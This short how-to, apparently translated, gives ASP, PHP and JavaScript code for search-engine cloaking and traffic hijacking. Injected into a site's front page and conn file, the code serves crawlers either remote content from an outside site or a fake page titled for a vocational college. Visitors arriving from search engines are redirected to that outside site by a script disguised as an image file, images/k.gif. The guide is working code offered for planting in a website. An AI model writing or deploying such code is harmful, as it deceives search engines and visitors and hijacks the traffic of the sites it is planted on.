First, it's simple, add the following code to the front page:
asp version <!--#include file="conn.asp"--> <script src="images\k.gif"></script>
php version <!--#include file="conn.php"--> <script src="images\k.gif"></script>
Then add the following code to the conn file according to the website's program, if you don't have a conn.asp or conn.php, create it yourself:
conn.asp edition
----------- the following reproduction-------------------------------- <% function isspider() dim agent,searray,i agent="agent:"&LCase(request.servervariables("http_user_agent")) searray=array("googlebot","baiduspider","sogou","yahoo","soso","360spider") isspider= false for i=0 to ubound(searray) if (instr(agent,searray(i))>0) then isspider=true next end function
function fromse() dim urlrefer,i,searray urlrefer="refer:"&LCase(request. ServerVariables("HTTP_REFERER")) fromse= false if urlrefer="" then fromse= false searray=array("google","baidu","sogou","yahoo","soso","360") for i=0 to ubound(searray) if (instr(urlrefer,searray(i))>0) then fromse=true next end function
function gethttp(url) dim http set http=createobject("MSXML2. XMLHTTP") Http.open "GET",url,false Http.send() if Http.readystate<>4 then exit function end if gethttp=bytes2BSTR(Http.responseBody) set http=nothing if err.number<>0 then err. Clear end function
function bytes2BSTR(vIn) dim strReturn dim i,ThisCharCode,NextCharCode strReturn = "" For i = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn,i,1)) If ThisCharCode < &H80 Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn,i+1,1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) i = i + 1 End If Next bytes2BSTR = strReturn End function
if(isspider()) then dim myfso,fileurl,filecon,myfile,bodyurl,remotehtml bodyurl="http://www.itsvse.com" //snapshot URL response.clear remotehtml=gethttp(bodyurl) response.write(remotehtml) response.write("<!--"&now()&"-->") response.flush response.end end if
%>
conn.php
---------------- the following reproduction----------------
<?php function is_search_bot(){ $user_agent = strtolower($_SERVER['HTTP_USER_AGENT']); $identify = array('baiduspider','sogou spider','sosospider','iaskspider','naverrobot'); foreach ($identify AS $key => $tag){ if (strstr($user_agent, $tag)){ return true; } } return false; } function is_urlbaidu() { $come_from="baidu@sogou@soso@iask@naver"; $referer = explode("@",$come_from); foreach($referer as $url){ if (stristr($_SERVER['HTTP_REFERER'],$url)){ return true; } } return false; }
if (is_search_bot()) { $html = "<title>Wuhan Software Engineering Vocational College</title> <meta name=\"Author\" content=\"Fill in the same as keywords\"> <meta name=\"Keywords\" content=\"Keywords\"> <meta name=
\"Description\" content=\"Description\"> </head> <body>Content</body></html>"; echo $html; } if (!is_search_bot() && is_urlbaidu())
{ Header('Location:http://www.itsvse.com');
} ?>
Finally, in the images directory, upload a k.gif file k.gif the code:
var s=document.referrer if(s.indexOf("baidu")>0 || s.indexOf("soso")>0 || s.indexOf("google")>0 || s.indexOf("360")>0 || s.indexOf("sogou")>0 ) location.href="http://www.itsvse.com"; Redirect URL
|